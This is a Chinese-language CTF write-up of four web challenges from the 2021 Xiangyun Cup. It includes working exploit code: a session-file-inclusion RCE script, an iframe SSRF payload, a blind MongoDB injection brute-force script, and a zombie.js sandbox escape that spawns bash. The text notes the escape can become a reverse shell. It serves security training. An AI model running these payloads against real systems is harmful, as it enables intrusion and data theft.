2021-第二届祥云杯-Web-WP[部分赛后复现]
2021 第二届祥云杯 Web WriteUp 打了两天Web,有一些做出来了,有一些没做出来,感觉还是知识点不够全面。
赛后找到了全做出来的队伍的WP:
第二届”祥云杯” WEB WP - 安全客,安全资讯平台 (anquanke.com)
跟着复现了一遍,都记录一下吧!
做出来的 安全检测 进去登录之后是一个输入框,输入url服务器就会去访问,如果响应正常,访问preview.php服务器就会再访问一次,然后file_get_contents内容返回。
这里有个waf过滤了很多。
用dirsearch扫到有个admin目录是403,用ssrf打过去,admin下有个include123.php,访问拿到如下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $u =$_GET ['u' ];$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where" ;$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert" ;$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore" ;$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr" ;$pattern .="|file|dict|gopher" ;$vpattern = explode("|" ,$pattern );foreach ($vpattern as $value ){ if (preg_match( "/$value /i" , $u )){ echo "检测到恶意字符" ; exit (0 ); } } include ($u );show_source(__FILE__ ); ?>
这里尝试include /tmp/sess_PHPSESSID,是可以读到的,能看到,url会存在session文件里。
这里就可以通过include session文件来执行任意php代码。
payload :
1 u=/tmp/sess_{PHPSESSID}&<?=phpinfo();>
写了个exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport urllib.parseurl = "http://eci-2zeja2ipip8vfmlfx65z.cloudeci1.ichunqiu.com" cookie = "6bec0ccc9d15ed510b3e1651ac571dd2" header = { "cookie" :"PHPSESSID=" +cookie } shell1 = (urllib.parse.quote("cat /getfl" )) shell2 = (urllib.parse.quote("ag.sh" )) r = requests.post(url+"check2.php" ,data={"url1" :"http://127.0.0.1/admin/include123.php?shell1=" +shell1+"&shell2=" +shell2+"&u=/tmp/sess_" +cookie+"&><?=print('\n\n');system($_GET['shell1'].$_GET['shell2']);print('\n');?>" },headers=header) r = requests.get(url,headers=header) r = requests.get(url+"preview.php" ,headers=header) print (r.text)
Secrets_Of_Admin 这道题给我的感觉就是很多障眼法,其实最后get flag的方法十分简单…(服气
一进去是个登录框
admin的密码可以在database.ts获得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 let db = new sqlite3.Database('./database.db' , (err ) => { if (err) { console .log(err.message) } else { console .log("Successfully Connected!" ); db.exec(` DROP TABLE IF EXISTS users; CREATE TABLE IF NOT EXISTS users ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL ); INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645'); DROP TABLE IF EXISTS files; CREATE TABLE IF NOT EXISTS files ( username VARCHAR(255) NOT NULL, filename VARCHAR(255) NOT NULL UNIQUE, checksum VARCHAR(255) NOT NULL ); INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');` ); console .log('Init Finished!' ) } });
登录进去是这样的
这部分的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 router.post('/admin' , checkAuth, (req, res, next ) => { let { content } = req.body; if ( content == '' || content.includes('<' ) || content.includes('>' ) || content.includes('/' ) || content.includes('script' ) || content.includes('on' )){ return res.render('admin' , { error : 'Forbidden word 🤬' }); } else { let template = ` <html> <meta charset="utf8"> <title>Create your own pdfs</title> <body> <h3>${content} </h3> </body> </html> ` try { const filename = `${uuid()} .pdf` pdf.create(template, { "format" : "Letter" , "orientation" : "portrait" , "border" : "0" , "type" : "pdf" , "renderDelay" : 3000 , "timeout" : 5000 }).toFile(`./files/${filename} ` , async (err, _) => { if (err) next(createError(500 )); const checksum = await getCheckSum(filename); console .log(checksum) await DB.Create('superuser' , filename, checksum) return res.render('admin' , { message : `Your pdf is successfully saved 🤑 You know how to download it right?` }); }); } catch (err) { return res.render('admin' , { error : 'Failed to generate pdf 😥' }) } } });
那么content发过去之后,要如何访问存着的pdf呢,有这么一个接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 router.get('/admin' , checkAuth, async (req, res) => { let token = req.signedCookies['token' ]; try { const files = await DB.listFile(token.username); console .log(files) if (files) { res.cookie('token' , {username : token.username, files : files, isAdmin : true }, { signed : true }) } } catch (err) { return res.render('admin' , { error : 'Something wrong ... 👻' }) } return res.render('admin' ); });
只要访问这个接口,就会根据token的username获取files的信息存在token里,因为是superuser的身份创建的文件,所以我们需要以superuser的token来访问
在app.ts里我们可以看到cookie的生成是有固定key的,那么根据这个key去伪造token就好了。
但是当以superuser的身份来访问的时候,又有新的问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const checkAuth = (req: Request, res:Response, next:NextFunction ) => { let token = req.signedCookies['token' ] if (token && token["username" ]) { if (token.username === 'superuser' ){ next(createError(404 )) } if (token.isAdmin === true ) { next(); } else { return res.redirect('/' ) } } else { next(createError(404 )); } }
找不到地方绕过去,看来是拿不到上传的文件信息了。
再让我们看/api/files和/api/files/:id
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 router.get('/api/files' , async (req, res, next) => { if (req.socket.remoteAddress.replace(/^.*:/ , '' ) != '127.0.0.1' ) { return next(createError(401 )); } let { username , filename, checksum } = req.query; if (typeof (username) == "string" && typeof (filename) == "string" && typeof (checksum) == "string" ) { try { await DB.Create(username, filename, checksum) return res.send('Done' ) } catch (err) { return res.send('Error!' ) } } else { return res.send('Parameters error' ) } });
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 router.get('/api/files/:id' , async (req, res) => { let token = req.signedCookies['token' ] if (token && token['username' ]) { if (token.username == 'superuser' ) { return res.send('Superuser is disabled now' ); } try { let filename = await DB.getFile(token.username, req.params.id) if (fs.existsSync(path.join(__dirname , "../files/" , filename))){ return res.send(await readFile(path.join(__dirname , "../files/" , filename))); } else { return res.send('No such file!' ); } } catch (err) { return res.send('Error!' ); } } else { return res.redirect('/' ); } });
仔细审计了get:/api/files和get:/api/files/:id还有post:/admin之后,思路逐渐清晰起来。
我们可以在post:/admin的content中放一个iframe,转成pdf是会解析iframe的。
content的payload:
1 content[]=<iframe src ="http://127.0.0.1:8888/api/files?username=当前登录用户名&filename=/flag&checksum=任意checksum" > </iframe >
这时服务器通过本机访问了get:/api/files,成功创建了一条文件索引。
然后我们再根据提交的任意checksum访问get:/api/files/[任意checksum],就可以拿到flag内容了。
PackageManager2021 写累了,细节不写了,有精力再补吧😂
index.ts:66
1 let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()} "` ).exec()
这里有个mongodb注入
payload:
1 bfc31e7c22340f30e5b15badc0cafead" || this.password['+str(i)+'] == " '+chr(x)+' " && this.username == " admin
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsurl = "http://localhost:8888/auth" header = { "cookie" :"session=s%3ADS_lSaFLU5N1g58ZN4fCSLV0X0O9TaAX.tq%2FPIh%2F%2BtqVuzC62UnA7I3lU6HcJ7t9tap3njjzCBAM" } def test (payload ): r = requests.post(url,data={ "_csrf" :"T9j6USpU-2tx5OeLywlKvwZlq4hSPXdeGFLA" , "token" :payload },headers=header,allow_redirects=False ) print (r.text) print (result) return "Found" in r.text result = "" for i in range (0 ,100 ): for x in range (32 ,128 ): if (test('bfc31e7c22340f30e5b15badc0cafead" || this.password[' +str (i)+'] == "' +chr (x)+'" && this.username == "admin' )): result = result + chr (x) print (result) break
爆出admin密码
登录即可看到flag
没做出来的 这部分看着 第二届”祥云杯” WEB WP - 安全客,安全资讯平台 (anquanke.com) 复现的
crawler_z 这道题开始主要关注这三个接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 router.post('/profile' , async (req, res, next) => { let { affiliation, age, bucket } = req.body; const user = await User.findByPk(req.session.userId); if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string" ) { return res.render('user' , { user, error : "Parameters error or blank." }); } checkBucket (url ) { try { url = new URL(url); } catch (err) { return false ; } if (url.protocol != "http:" && url.protocol != "https:" ) return false ; if (url.href.includes('oss-cn-beijing.ichunqiu.com' ) === false ) return false ; return true ; } if (!utils.checkBucket(bucket)) { return res.render('user' , { user, error : "Invalid bucket url." }); } let authToken; try { await User.update({ affiliation, age, personalBucket : bucket }, { where : { userId : req.session.userId } }); const token = crypto.randomBytes(32 ).toString('hex' ); authToken = token; await Token.create({ userId : req.session.userId, token, valid : true }); await Token.update({ valid : false , }, { where : { userId : req.session.userId, token : { [Op.not]: authToken } } }); } catch (err) { next(createError(500 )); } if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/ .exec(bucket)) { res.redirect(`/user/verify?token=${authToken} ` ) } else { return res.render('user' , { user : user, message : "Admin will check if your bucket is qualified later." }); } });
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 router.get('/verify' , async (req, res, next) => { let { token } = req.query; if (!token || typeof (token) !== "string" ) { return res.send("Parameters error" ); } let user = await User.findByPk(req.session.userId); const result = await Token.findOne({ token, userId : req.session.userId, valid : true }); if (result) { try { await Token.update({ valid : false }, { where : { userId : req.session.userId } }); await User.update({ bucket : user.personalBucket }, { where : { userId : req.session.userId } }); user = await User.findByPk(req.session.userId); return res.render('user' , { user, message : "Successfully update your bucket from personal bucket!" }); } catch (err) { next(createError(500 )); } } else { user = await User.findByPk(req.session.userId); return res.render('user' , { user, message : "Failed to update, check your token carefully" }) } })
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 router.get('/bucket' , async (req, res) => { const user = await User.findByPk(req.session.userId); if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/ .exec(user.bucket)) { return res.json({ message : "Sorry but our remote oss server is under maintenance" }); } else { try { const page = new Crawler({ userAgent : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' , referrer : 'https://www.ichunqiu.com/' , waitDuration : '3s' }); await page.goto(user.bucket); const html = page.htmlContent; const headers = page.headers; const cookies = page.cookies; await page.close(); return res.json({ html, headers, cookies}); } catch (err) { return res.json({ err : 'Error visiting your bucket. ' }) } } });
首先第一步要解决如果更新替换bucket的问题。
从代码逻辑上可以看到,我们可以用burp提交一个符合正则表达式的bucket进去,截住重定向。
然后再提交一个我们自己要更新的bucket进去比如
http://oss-cn-beijing.ichunqiu.com.example.com:1234
或者
http://example.com?oss-cn-beijing.ichunqiu.com
等等。
最后放了那个重定向访问,就可以成功把他换成我们需要的url。
那么第二步就着手要通过这个url打ssrf来获取服务器权限。
zombie库有漏洞,但是当时搜遍全网都没搜索到,安全客文章里的链接是我看到的唯一一篇有关于zombie库漏洞的exp。
文章链接:https://ha.cker.in/index.php/Article/13563
除此之外没有其他任何信息,分析了一晚上这个漏洞,晚些有空可以把分析写一篇文章出来。
那么这道题的zombie是这样写的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 class Crawler { constructor(options) { this .crawler = new zombie({ userAgent: options.userAgent, referrer: options.referrer, silent: true , strictSSL: false }); } goto(url) { return new Promise((resolve, reject) => { try { this .crawler.visit(url, () => { const resource = this .crawler.resources.length ? this .crawler.resources.filter(resource => resource.response).shift() : null ; this .statusCode = resource.response.status this .headers = this .getHeaders(); this .cookies = this .getCookies(); this .htmlContent = this .getHtmlContent(); resolve(); }); } catch (err) { reject(err.message); } }) }
要如何执行获取服务器权限呢?只需要在爬虫访问的目标里放上这样的内容:
1 2 3 4 5 6 7 <script > var p = this .constructor.constructor('return process' )(); sync=p.mainModule.require('child_process' ).spawnSync; sync('bash' ,['-c' ,'open /System/Applications/Calculator.app' ]); </script >
效果如下:
直接代码改成反弹shell即可
其他还在写….